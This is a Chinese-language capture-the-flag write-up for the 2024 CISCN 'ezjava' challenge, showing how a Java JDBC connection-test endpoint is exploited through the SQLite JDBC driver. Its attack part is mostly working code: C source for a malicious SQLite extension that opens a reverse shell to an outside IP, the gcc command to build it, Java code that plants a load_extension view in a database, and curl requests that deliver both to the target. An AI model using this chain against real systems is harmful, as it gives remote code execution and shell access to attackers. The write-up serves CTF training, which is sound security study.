2024CISCN初赛
ezjava
JDBC-Attack-SQLite加载恶意so文件

分析JdbcController,com.example.jdbctest.controller.JdbcController#connect
1 2 3 4 5 6 7 8 9 10
| @RequestMapping({"/connect"}) @ResponseBody public ResultBean connect(@RequestBody JdbcBean jdbcBean) { try { return new ResultBean(1, String.join(",", this.datasourceServiceImpl.testDatasourceConnectionAble(jdbcBean))); } catch (Exception var3) { return new ResultBean(0, "连接失败"); } }
|
实例化连接测试,跟进com.example.jdbctest.services.datasourceServiceImpl#testDatasourceConnectionAble
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| public String[] testDatasourceConnectionAble(JdbcBean jdbcBean) throws ClassNotFoundException, SQLException { DatasourceLoadConfig var10000 = this.datasourceLoadConfig; Map<String, String> config = DatasourceLoadConfig.getConfig(); switch (jdbcBean.getType()) { case 1: Class.forName((String)config.get("JDBC-MYSQL")); MysqlDatasourceConnector mysqlDatasourceConnector = new MysqlDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl())); if (jdbcBean.getTableName() != null) { return mysqlDatasourceConnector.getTableContent(jdbcBean.getTableName()); }
return mysqlDatasourceConnector.getTables(); case 2: Class.forName((String)config.get("JDBC-POSTGRES")); PostgresDatasourceConnector postgresDatasourceConnector = new PostgresDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl())); if (jdbcBean.getTableName() != null) { return postgresDatasourceConnector.getTableContent(jdbcBean.getTableName()); }
return postgresDatasourceConnector.getTables(); case 3: SqliteDatasourceConnector sqliteDatasourceConnector = new SqliteDatasourceConnector(jdbcBean.getUrl()); if (jdbcBean.getTableName() != null) { return sqliteDatasourceConnector.getTableContent(jdbcBean.getTableName()); }
return sqliteDatasourceConnector.getTables(); case 4: Class.forName((String)config.get("JDBC-SQLITE")); return new String[]{""}; default: return new String[]{""}; } }
|
根据sqliteDatasourceConnector.getTableContent
,跟进到com.example.jdbctest.services.DatasourceServiceImpl#getTableContent
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public String[] getTableContent(String tableName) { String sql = "select * from " + tableName;
try { Statement statement = this.connection.createStatement(); Throwable var4 = null;
try { ResultSet resultSet = statement.executeQuery(sql); Throwable var6 = null;
} } return new String[0]; }
|
思路:利用JDBC-Attack-SQLite加载恶意so文件
sqlite-jdbc-3.8.9.jar库中org.sqlite.core.CoreConnection#extractResource

这个方法从URL连接获取数据库内容,生成在/tmp/sqlite-jdbc-tmp-*.db,根据resourceAddr.hashCode()
知道生成文件名的方式
1
| System.out.println(new URL("http://ip/evil.so").hashCode());
|
恶意文件生成 c -> so
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| #include <sqlite3ext.h> #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <signal.h> #include <dirent.h> #include <sys/stat.h> SQLITE_EXTENSION_INIT1
int tcp_port = 7777; char *ip = "ip";
#ifdef _WIN32 __declspec(dllexport) #endif
int sqlite3_extension_init(sqlite3 *db,char **pzErrMsg,const sqlite3_api_routines *pApi){ int rc = SQLITE_OK; SQLITE_EXTENSION_INIT2(pApi);
int fd; if ( fork() <= 0){ struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(tcp_port); addr.sin_addr.s_addr = inet_addr(ip);
fd = socket(AF_INET, SOCK_STREAM, 0); if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){ exit(0); }
dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execve("/bin/bash", 0LL, 0LL); }
return rc; }
|
编译成so文件
1
| gcc -g -fPIC -shared evil.c -o evil.so
|
然后需要执行CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp-*.db'));
去加载恶意的so文件
生成db文件代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package com.example.jdbctest;
import java.io.File; import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement;
public class Filedb { public static void main(String[] args) {
try { String dbFile = "E:/poc.db"; File file = new File(dbFile); Class.forName("org.sqlite.JDBC"); Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile); System.out.println("Opened database successfully");
String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp-*.db'));"; PreparedStatement preStmt = conn.prepareStatement(sql);
preStmt.executeUpdate(); preStmt.close(); conn.close();
} catch (Exception e) { e.printStackTrace(); }
} }
|
开启监听,curl发包
1 2 3
| curl --header "Content-Type: application/json" --request POST --data '{"type": 3,"url": "jdbc:sqlite::resource:http://ip/evil.so"}' http://ip/jdbc/connect
curl --header "Content-Type: application/json" --request POST --data '{"type": 3,"url": "jdbc:sqlite::resource:http://ip/poc.db","tableName": "security"}' http://ip/jdbc/connect
|